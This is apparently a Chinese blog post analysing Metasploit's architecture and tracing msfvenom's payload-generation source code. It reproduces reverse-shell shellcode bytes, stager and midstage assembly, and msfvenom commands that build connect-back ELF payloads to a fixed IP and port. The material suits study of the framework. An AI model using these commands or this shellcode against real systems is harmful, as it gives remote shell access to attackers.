1. msf 结构
1.1. 架构图
架构图如下所示:
其中metasploit最重要的部分为模块部分,,分别为辅助模块(Auxiliary)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)以及免杀模块(Evasion)。其功能如下:
辅助模块:通过对网络服务的扫描,收集登陆密码或者 Fuzz 测试发掘漏洞等方式取得目标系统丰富的情报信息,从而发起精准攻击。
渗透攻击模块:包括利用已发现的安全漏洞等方式对目标发起攻击,执行攻击载荷的主动攻击和利用伪造的 office 文档或浏览器等方式使目标上的用户自动触发执行攻击载荷的被动攻击。
空指令模块:跟随渗透攻击模块成功后的造成任何实质影响的空操作或者无关操作指令的无效植入代码,目的保证后面的攻击载荷能顺利执行。常见的在 x86 CPU 体系架构平台上的操作码是 0x90。
攻击载荷模块:跟随渗透攻击模块成功后在目标系统运行的有效植入代码,目标是建立连接,得到目标 shell。
编码器模块:同空指令模块作用相似,保证不会受到漏洞参数或者目标系统类型的限制导致无法顺利执行。
后渗透攻击模块:在获取到目标 shell 之后,进行后渗透攻击,比如获取信息,跳板甚至内网渗透。
免杀模块:作为 V5 版本新增的功能,只包含对 windows defender 类型。免杀方式较为简单,申请内存,拷贝攻击载荷,执行攻击载荷。
1.2. 攻击链
基于模块功能可以得到如下图所示攻击链:
一个完整的msf攻击过程会包括 payloads生成,编码(可选),添加空指令,生成有效载荷并执行攻击。获取到shell后可使用后渗透模块以及辅助模块协助渗透等等。而其中最重要的功能则是攻击载荷模块也就是payloads的生成模块。
2. payloads
可以分为两类:stage和stageless,其中:
- stageless为独立载荷(Single),可以直接植入目标系统并执行相应的程序。
- stage为分阶段载荷,包括:
- stager: 传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。
- stage: 传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
payload生成使用msfvenom作为入口函数。
2.1. Single
以msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > meterpreter_reverse_tcp
为例。
首先调用msfvenom
中的venom_generator.generate_payload
函数。
跟进对应函数,路径为payload_generator.rb
。通过一系列参数检查。然后调用generate_raw_payload
函数。
跟进,调用payload_module.generate_simple
,路径为simple\payload.rb
,调用Msf::Simple::Payload.generate_simple(self, opts, &block)
。
跟进,调用EncodedPayload.create
,路径为encoded_payload.rb
,调用generate
函数。
跟进,调用generate_raw()
,然后调用generate_complete
函数。
跟进,调用apply_prepends(generate)
。这里根据generate选择对应的生成函数。在本例中,选择的是meterpreter_reverse_tcp.rb
。
跟进,查看对应的 generate函数,调用MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
跟进 generate_config
,根据 datastore设定对应的config文件,然后调用Mettle.new()
函数实例化对象,调用to_binary
函数生成对应的bin文件。
to_binary
函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | def to_binary( format = :process_image)
bin = self . class .read(@platform, format )
unless @config.empty?
params = generate_argv
bin = add_args( bin , params)
end
bin
end
|
add_args函数如下
:
1 2 3 4 5 6 7 8 | def add_args( bin , params)
if params[ 8 ] ! = "\x00"
bin .sub(CMDLINE_SIG + ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params)
else
bin
end
end
|
然后调用payload_generator
中的format_payload(raw_payload)
得到最终的payload可执行程序。
以 msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp
为例,前面都同上,在调用apply_prepends(generate)
时本例中,选择的是shell_reverse_tcp.rb
。
其完整内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | "\x31\xdb" +
"\xf7\xe3" +
"\x53" +
"\x43" +
"\x53" +
"\x6a\x02" +
"\x89\xe1" +
"\xb0\x66" +
"\xcd\x80" +
"\x93" +
"\x59" +
"\xb0\x3f" +
"\xcd\x80" +
"\x49" +
"\x79\xf9" +
"\x68" + [IPAddr.new(datastore[ 'LHOST' ], Socket::AF_INET).to_i].pack( 'N' ) +
"\x68\x02\x00" + [datastore[ 'LPORT' ].to_i].pack( 'S>' ) +
"\x89\xe1" +
"\xb0\x66" +
"\x50" +
"\x51" +
"\x53" +
"\xb3\x03" +
"\x89\xe1" +
"\xcd\x80" +
"\x52" +
shell_padded.bytes.reverse.each_slice( 4 ). map do |word|
"\x68" + word.reverse.pack( 'C*' )
end.join +
"\x89\xe3" +
"\x52" +
"\x53" +
"\x89\xe1" +
"\xb0\x0b" +
"\xcd\x80"
|
与上文不同的是这边生成的是一段shellcode,在后面的format_payload(raw_payload)
阶段,会将shellcode插入到一个ELF中,并修改对应的偏移,得到最后完整的可执行elf文件。
在本例中,templates路径为/data/templates/template_x86_linux.bin
。
2.2. stage
2.2.1. stager
以 -p linux/x86/meterpreter/reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > reverse_tcp
为例: 在在调用apply_prepends(generate)
时本例中,选择的是reverse_tcp_x86.rb
。和前述不同的是,对应代码不是在modules目录下,而是在core目录下。
最终生成的shellcode如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | asm = % Q^
push
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push 0x2
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall (socket())
xchg eax, edi ; store the socket in edi
set_address:
pop ebx ; set ebx back to zero
push
push
mov ecx, esp
try_connect:
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x
push 0x
mov ebx, esp
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
jns create_socket
jmp failed
^
asm << asm_send_uuid if include_send_uuid
asm << % Q^
mprotect:
mov dl, 0x
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov
mov al, 0x3
int 0x80 ; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
^
asm
end
|
2.2.2. stage
在第一阶段建立连接后,攻击机会向靶机投递第二阶段payload。生成对应的mettle.bin并发送到靶机。在攻击机上启动监听之后,靶机上执行stager,会马上建立一个socket连接,同时msf启动一个新的线程,准备生成stage并投递给靶机。中间还会生成一段midstage,其内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | % (
push edi ; save sockfd
xor ebx, ebx ; address
mov ecx,
mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
mov esi, 34 ; MAP_PRIVATE | MAP_ANONYMOUS
xor edi, edi ; fd
xor ebp, ebp ; pgoffset
mov eax, 192 ; mmap2
int 0x80 ; syscall
; receive mettle process image
mov edx, eax ; save buf addr for next code block
pop ebx ; sockfd
push 0x00000100 ; MSG_WAITALL
push
push eax ; buf
push ebx ; sockfd
mov ecx, esp ; arg array
mov ebx, 10 ; SYS_READ
mov eax, 102 ; sys_socketcall
int 0x80 ; syscall
; setup stack
pop edi
xor ebx, ebx
and esp, 0xfffffff0 ; align esp
add esp, 40
mov eax, 109
push eax
mov esi, esp
push ebx ; NULL
push ebx ; AT_NULL
push edx ; mmap buffer
mov eax, 7
push eax ; AT_BASE
push ebx ; end of ENV
push ebx ; NULL
push edi ; sockfd
push esi ; m
mov eax, 2
push eax ; argc
; down the rabbit hole
mov eax,
add edx, eax
jmp edx
)
end
|
之后则是mettle.bin的发送流程。略过。
3 msf新建payload流程分析
1 2 3 4 5 6 7 8 9 | / usr / share / metasploit - framework / lib / msf / core / payload.rb: 303 : in `generate_complete'
/ usr / share / metasploit - framework / lib / msf / core / encoded_payload.rb: 118 : in `generate_raw'
/ usr / share / metasploit - framework / lib / msf / core / encoded_payload.rb: 74 : in `generate'
/ usr / share / metasploit - framework / lib / msf / core / encoded_payload.rb: 24 : in `create'
/ usr / share / metasploit - framework / lib / msf / base / simple / payload.rb: 52 : in `generate_simple'
/ usr / share / metasploit - framework / lib / msf / base / simple / payload.rb: 139 : in `generate_simple'
/ usr / share / metasploit - framework / lib / msf / core / payload_generator.rb: 478 : in `generate_raw_payload'
/ usr / share / metasploit - framework / lib / msf / core / payload_generator.rb: 422 : in `generate_payload'
/ usr / bin / msfvenom: 469 : in `<main>'
|
使用msfvenom
生成payload : msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp
1 2 3 4 5 6 7 8 9 10 | begin
venom_generator = Msf::PayloadGenerator.new(generator_opts)
payload = venom_generator.generate_payload
rescue Msf::InvalidFormat = > e
$stderr.puts "Error: #{e.message}"
$stderr.puts dump_formats
rescue ::Exception = > e
elog( "#{e.class} : #{e.message}\n#{e.backtrace * " \n "}" )
$stderr.puts "Error: #{e.message}"
end
|
跟进payload = venom_generator.generate_payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | def generate_payload
...
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
if encoder ! = nil and encoder.start_with?( "@" )
raw_payload = multiple_encode_payload(raw_payload)
else
raw_payload = encode_payload(raw_payload)
end
if padnops
@nops = nops - raw_payload.length
end
raw_payload = prepend_nops(raw_payload)
gen_payload = format_payload(raw_payload)
end
|
跟进raw_payload生成函数raw_payload = generate_raw_payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | def generate_raw_payload
if payload = = 'stdin'
if arch.blank?
raise IncompatibleArch, "You must select an arch for a custom payload"
elsif platform.blank?
raise IncompatiblePlatform, "You must select a platform for a custom payload"
end
stdin
else
raise PayloadGeneratorError, "A payload module was not selected" if payload_module.nil?
chosen_platform = choose_platform(payload_module)
if chosen_platform.platforms.empty?
raise IncompatiblePlatform, "The selected platform is incompatible with the payload"
end
chosen_arch = choose_arch(payload_module)
unless chosen_arch
raise IncompatibleArch, "The selected arch is incompatible with the payload"
end
payload_module.generate_simple(
'Format' = > 'raw' ,
'Options' = > datastore,
'Encoder' = > nil,
'MaxSize' = > @space,
'DisableNops' = > true
)
end
end
|
跟进generate_simple
1 2 3 4 5 6 | def generate_simple(opts, &block)
Msf::Simple::Payload.generate_simple( self , opts, &block)
end
|
再跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | def self .generate_simple(payload, opts, &block)
payload = payload.replicant
Msf::Simple::Framework.simplify_module(payload)
yield (payload) if block_given?
payload._import_extra_options(opts)
framework = payload.framework
e = EncodedPayload.create(payload,
'BadChars' = > opts[ 'BadChars' ],
'MinNops' = > opts[ 'NopSledSize' ],
'PadNops' = > opts[ 'PadNops' ],
'Encoder' = > opts[ 'Encoder' ],
'Iterations' = > opts[ 'Iterations' ],
'ForceEncode' = > opts[ 'ForceEncode' ],
'DisableNops' = > opts[ 'DisableNops' ],
'Space' = > opts[ 'MaxSize' ])
...
|
再跟进create
1 2 3 4 5 6 7 8 9 10 11 12 | def self .create(pinst, reqs = {})
p = EncodedPayload.new(pinst.framework, pinst, reqs)
p.generate(reqs[ 'Raw' ])
return p
end
|
跟进 generate
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | def generate(raw = nil)
self .raw = raw
self .encoded = nil
self .nop_sled_size = 0
self .nop_sled = nil
self .encoder = nil
self .nop = nil
priority = Thread.current.priority
if (priority = = 0 )
Thread.current.priority = 1
end
begin
pinst.validate()
unless self .space.nil?
pinst.available_space = self .space
pinst.available_space - = ( self .space * 0.1 ).ceil if needs_encoding
end
generate_raw() if self .raw.nil?
....
|
再跟进generate_raw()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | def generate_raw
self .raw = (reqs[ 'Prepend' ] || ' ') + pinst.generate_complete + (reqs[' Append '] || ' ')
if reqs[ 'EncapsulationRoutine' ]
self .raw = reqs[ 'EncapsulationRoutine' ].call(reqs, raw)
end
end
|
最后到generate_complete
1 2 3 4 5 6 | def generate_complete
apply_prepends(generate)
end
|
这个位置的generate为一个对象,在本例中,最后指向的是shell_reverse_tcp.rb
。
将对应的opcode提取出来,生成raw_payload,然后通过format_payload生成对应的elf可执行文件
4 总结
本文结合msf源码简单分析了msf的payload生成,需要注意的是,msf大部分后渗透阶段的工具都在Post 模块上,但是其调用分析也是类似的,如果对其有兴趣可以详细的学习一下。
安卓逆向入门